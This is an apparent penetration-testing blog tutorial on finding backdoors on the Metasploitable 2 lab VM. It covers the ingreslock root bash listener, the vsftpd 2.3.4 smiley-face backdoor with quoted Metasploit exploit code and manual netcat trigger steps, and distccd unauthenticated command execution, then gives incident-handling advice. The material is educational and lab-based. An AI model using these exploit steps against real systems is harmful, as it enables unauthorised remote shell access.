Every now and again when pentesting you come across something that doesn’t quite seem right. You can’t always put your finger on it, it’s just a little… off. Whether it’s a code execution bug that’s a little too easy to exploit, or the demo user account that looks like someone forgot to remove, sometimes vulnerabilities just seem as though they were deliberately placed there, even if it’s for legitimate purposes. These bugs are commonly known as backdoors, and in this post I’ll go through the steps in detecting some common types of backdoor from the network.

Rapid7’s Metasploitable 2 may seem a little old hat, but it’s a great reference platform for testing techniques. If you’ve built a pentest lab, then you’ll probably have it. If not, go and download it, then come and play along with this post.

Finding Backdoors

A backdoor is a piece of software that allows an attacker to bypass things like authentication and authorization, and gain access to a system or useful data. Backdoors are often but not always malicious, and can be unintended. In this section we’ll look at several common backdoor types and how we can verify their existence for exploitation later on.

Common Backdoor Types

We can classify backdoors in many different ways. Most backdoors that you’ll encounter as a penetration tester will either be discovered through an automated scan that picks up something it shouldn’t, or through a visible service that you’ve connected to that does something it shouldn’t. You’re unlikely to find backdoors that connect out from the compromised host (unless you start analysing connections when on the system), or signs of infection on a compromised system (unless you look, which depending on scope may not be the best use of your time).

You’re unlikely to catch the next Stuxnet or Regin, but it is likely that at some point you’ll see something a little different to what you expect, and on occasion when investigating it, find something indicative that you’re not alone on the system.

Basic Network-based Backdoors

One of my favourite old fashioned backdoors is the traditional fake service backdoor. In the old days, services would be written in C and would have to write their own socket code, including connection multiplexing code in order to serve multiple connections at once. Wouldn’t it be great if there was a service that could do connection multiplexing so all our code would have to do is read from and write to a file? Well, there is such a service, called an Internet superserver, sometimes referred to as an inetd. Inetd-type services aren’t really services themselves, they’re really just socket multiplexers configured to listen on specific ports and pass whatever connects on to a separate program.

For example, many Unix distributions will use an inetd service to provide telnet, as it’s simpler to pass a connection to /sbin/login than write a full telnet server implementation. Other services commonly provided over inetd include fingerd (which simply calls the finger command with specific arguments), chargen, daytime and so on. This brings us to our first backdoor, the traditional ingreslock shell. If you look through your Nmap service identification scan, you’ll see the ingreslock service listening on TCP port 1524, with a rather obvious statement from Nmap.

Try connecting to the service using netcat and see what you get back, then execute the commands shown in the screenshot below to see what system you’re on.

This type of backdoor was very popular in the 1990s before firewalls took off, but is easy to set up and mostly forget about.

The backdoor is actually defined in /etc/inetd.conf on the metasploitable VM. If you look inside you’ll see the following string at the bottom:

ingreslock stream tcp nowait root /bin/bash bash -i. 

That tells the Xinetd daemon that it’s to run /bin/bash bash -i when a connection is made to the port reserved for ingreslock, in this case TCP port 1524.

In this case, the backdoor is almost certainly deliberately there. If this were a real penetration test, we’d advise de-scoping the system from the remainder of the test and advise that the customer carry out a full forensic investigation into the backdoor, then rebuild the system from scratch once concluded.

Hidden Listening Backdoors

Most backdoors aren’t as obvious as the ingreslock backdoor we found earlier, but can be found through a combination of experience and/or searching for fingerprints. Lets start by looking at the FTP server on TCP port 21. If you FTP to the server and disconnect, you’ll receive a banner informing you that the target runs VSFTPd 2.3.4. A quick google search for “vsftpd 2.3.4” later and you should see a lot of hits talking about a backdoor. But what is the backdoor and how does it work? There are two ways to find out. The clever way would be to download the backdoored source code, run a diff against the pristine source code and then analyse the differences between the two. The quick way is to look for an exploit, and reverse engineer that. Thankfully, Rapid7 have provided one, exploits/unix/ftp/vsftpd_234_backdoor in metasploit. Don’t worry if you don’t understand ruby, the backdoor isn’t incredibly complicated. Lets take apart some exploit code.

The part we’re interested in starts on line 56, just below the def exploit line. This is where the actual exploit happens.

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
  print_status("The port used by the backdoor bind listener is already open")
  handle_backdoor(nsock)
  return
end

The first thing the code does is connect to our target on port 6200. If the connection is successful, then metasploit will tell the user that the backdoor has already been triggered and call handle_backdoor(nsock), which checks to make sure the service is a shell by running the id command, and then passes control the listener handler.

# Connect to the FTP service port first
connect

banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
  print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
  disconnect
  return
end

if resp !~ /^331 /
  print_error("This server did not respond as expected: #{resp.strip}")
  disconnect
  return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

Next up, the exploit connects to the FTP server, obtains and prints a banner and sends a randomly generated alphanumeric username with a smiley face “:)” on the end followed by a CRLF. It then checks for specific FTP return code values to catch a couple of error conditions and following that sends a randomly generated password.

# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
  print_good("Backdoor service has been spawned, handling...")
  handle_backdoor(nsock)
  return
end

disconnect

The final part of the exploit code attempts to connect to port 6200, and if successful hands over control to the handle_backdoor(nsock) handler. If unsuccessful, the exploit disconnects and ends (not shown above for brevity). Now we know what each part does, lets look at the whole:

1. First the exploit connects to TCP port 6200 to see if the backdoor is active.
2. If the backdoor is active, skip the rest and go straight to the shell.
3. Connect to the FTP service on TCP port 21
4. Send USER :)
5. Send PASS
6. Connect to TCP port 6200 and go to the shell if successsful.

I’ll take you through this, but as with everything else I’ve covered, do try it yourself at least once, twice to be sure and third time’s a charm.

To compare to our analysis, here’s what I did:

1. nc 10.0.2.4 6200 - I connected to my instance of the target on TCP port 6200, which was closed, signifying that the backdoor was not active.
2. I then connected to the FTP service on TCP port 21 using nc 10.0.2.4 21.
3. I sent the string USER test:) to begin the authentication process.
4. When asked for a password, I provided PASS test:) as a response.
5. I then closed the connection by pressing Ctrl-C.
6. I attempted to connect to the backdoor over TCP port 6200 with netcat again, which succeeded.
7. I entered the command ls, which provided a listing of what appears to be the / directory.

Following on from this we can be fairly certain that both the version number reported by the banner is accurate, and that the backdoor is present. To be absolutely sure you might want to enter a few other commands to explore the filesystem and make sure that we’re not chrooted, and identify the user context we’re currently running as. I’ll leave it to you to figure out what commands you might want to run, but will provide some examples at the end of this post.

Accidental Backdoors - DistCCd

As well as intentional backdoors, there are also backdoors that are present by accident, often as the result of design flaws. One of the services known to exhibit such a vulnerability is distCCd. DistCCd is the distributed compiler daemon, used to spread compilation amongst large numbers of machines. Because distCCd was always designed to be run over a secured, trusted internal network, the risk appetite and resulting threat model appears to be different to that expected from say, a HTTP or SMTP server that would be directly exposed to the Internet.

If you run Nmap with service identification enabled, or interact with the listening service using other tools such as amap, you may see a distCCd banner with v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)).

In order to understand distccd we need to learn how distccd communicates. It turns out that distccd uses a very simple protocol, with no authentication or authorization, defined in the document protocol-1.txt supplied with every copy of distccd. From the document:

The distcc protocol allows a compiler command line plus C preprocessed source code to be transmitted from a client computer to a server, where it is compiled. The results (object code, exit status, and/or error messages) are returned to the client.

Just to be certain you know precisely what’s happening, you might want to read that sentence several times. If you’ve interpreted the above to mean that the distcc daemon exists to take commands from the network without authorization or authentication, execute them and return the results, then your interpretation is correct. This is an example of an accidental backdoor by design. It’s not malicious as such, it’s just that the software is intended to be used in trusted environments, such as compiler clusters protected by other security resources such as firewalls. Lets look at the structure of the traffic itself:

The request and response both consist of a series of packets. Each packet consists of two or three parts: token – four ascii bytes, defining the type of the packet parameter – eight ascii hexadecimal digits, corresponding to a 32-bit unsigned quantity body – optionally present, depending on the token The sequence in which tokens are sent by both client and server isalways fixed and is specified by this document. If the type of packet (determined by the token) requires a body, thenthe length of the body is given by the parameter. Otherwise, themeaning of the parameter depends on the token.

The protocol docs explain how distccd communicates, but we could do with an example. If you’ve watched Nmap’s service identfication module with wireshark you’ll have seen what this looks like. In this case the protocol is fairly simple, and we can look at Nmap’s nmap-service-probes file and see a simple example probe.

Probe TCP DistCCD q|DIST00000001ARGC00000005ARGV00000002ccARGV00000002-cARGV0000
0006nmap.cARGV00000002-oARGV00000006nmap.oDOTI00000000|

Pulling this apart and comparing to protocol-1.txt we can see the following:

• DIST00000001 - Greeting from the client followed by the protocol version, 1.
• ARGC00000005 - The number of arguments in the command including compiler name.
• ARGV00000002cc - A two byte length argument, in this case cc.
• ARGV00000002-c - A two byte length argument - -c.
• ARGV00000006nmap.c - A 6 byte length argument - nmap.c.
• ARGV00000002-o - A two byte length argument - -o.
• ARGV00000006nmap.o - A 6 byte length argument - nmap.o.
• DOTI00000000 - A null length pre-processed source .i file and it’s contents.

Putting this together, we can query the service directly using nc as follows:

echo -e 'DIST00000001ARGC00000005ARGV00000002ccARGV00000002-cARGV0000\ 0006nmap.cARGV00000002-oARGV00000006nmap.oDOTI00000000' | nc 10.0.2.4 3236

If you’ve ever used a C compiler before, then you’ll understand that what you’re seeing in the response is the output of the command cc -c nmap.c -o nmap.o. Thus, the banner that we see isn’t the distccd banner, it’s the compiler version information stored in the resulting .o file from nmap’s service test.

At first glance it may seem like I’ve sent you on a wild goose chase, completely wasting your time. But what happens if we give distccd a command to run that isn’t a compiler command at all? Will it execute the command? It will, but we’ll discuss how in more depth in a later post. At the moment we suspect we have a backdoor by design, and some ideas on how to exploit it, which is enough for now.

Commands to run when encountering a backdoor

When you encounter a potential backdoor, you need to confirm that it’s a backdoor, and possibly identify any quick constraints or information about the backdoor that would assist a subsequent investigation. To do this, we look to execute commands and examine the output. Some common commands to run include:

• uname -a - This will tell you some information about the underlying Unix system including kernel version and system architecture.
• id - This command will tell you the user context under which a Unix-based backdoor is running. On Windows, you’d run whoami.
• pwd - This prints the current working directory, and tells you where the backdoor is operating.
• echo $$ - This prints the Process ID (PID) of the running process, and is useful for tracking the backdoor.
• lsof -p $ - If installed, lsof will list all the files used by the running PID. Lsof needs to run as root, but this can be done through sudo.
• readlink /proc/$/exe - On Linux this will give you the full path and name of the currently running executable.
• md5sum readlink /proc/$/exe - On Linux this will give you the full path, name and md5 sum of the running executable. This hash can be entered into threat intelligence services to compare against known malicious backdoors.

Make a note of the time that you run these commands, and capture the output. The purpose of running these tools is to verify that command execution works, identify the user context of the command execution and to provide some basic data to support an investigation. Even if you have forensics experience, if you’re on a penetration test, you are not (at least for now) the investigator, but your customer may need some basic info before going further.

What to do when you find a backdoor on a penetration test

The moment you suspect that there’s a backdoor on a system, you need to make sure that you keep track of what you do and when you do it. Writing down your actions and the time it’s taken will help ensure that your actions are not confused with those of an attacker. It is reasonable to expect you to investigate the service to confirm that it is in fact a backdoor and not a false positive. It is generally not reasonable for you to then use this to pivot through and exploit other systems, as your actions may prejudice an ongoing investigation. Some degree of initial triage to help an investigator is fine, but remember that you’re not the actual investigator until you’ve been assigned that role by the business owner of the system you’re looking at.

Once you’ve confirmed the presence of a backdoor and have a few bits of basic information to assist in an investigation, stop everything and contact your customer. Give them the bad news with care and sensitivity. At this point there are usually two options:

1. Continue the test but de-scope the compromised system
2. Postpone the test and investigate the backdoor instead, in order to determine the extent of the compromise.

Sometimes people choose option 1, particularly in situations where the affected system is not connected to other systems falling within the scope of testing. Personally I never like option 1 because you don’t know the full extent of the compromise, and if the incident is still ongoing, your actions as a tester may be picked up by the attacker and influence their TTPs, or Tools, Techniques and Practices, which could in turn make investigating the compromise more difficult. My own preference is to postpone testing until after an investigation has been conducted and the systems have been cleaned up, however your customer’s view may differ.

The final point I’d make on the matter is this: In this scenario, while you could investigate the compromise if your customer asks you to, there’s no requirement to do so. If you’re not comfortable doing this, then there’s no harm in telling the customer that it’s not something you’re happy doing. Messing up the chain of evidence will only cause problems down the line. Likewise, if you were brought in to assess something and for whatever reason don’t feel comfortable doing the investigation, then it’s better to be up-front about it than muddle through something that you’re not happy doing.

Conclusions

Finding backdoors is a useful skill and occasional incident that happens while testing. While most modern backdoors rarely show up in penetration tests, an understanding of how basic persistence works goes a long way. Once you find a backdoor, it’s important to treat it as a critical event, and not to interfere with any subsequent investigation. In this post we looked at:

• Basic network backdoors
• Hidden listening backdoors
• Accidental backdoors
• What to do when you find a backdoor

We haven’t covered web shell backdoors, as that’s a post in itself. We’ll cover that at a later date.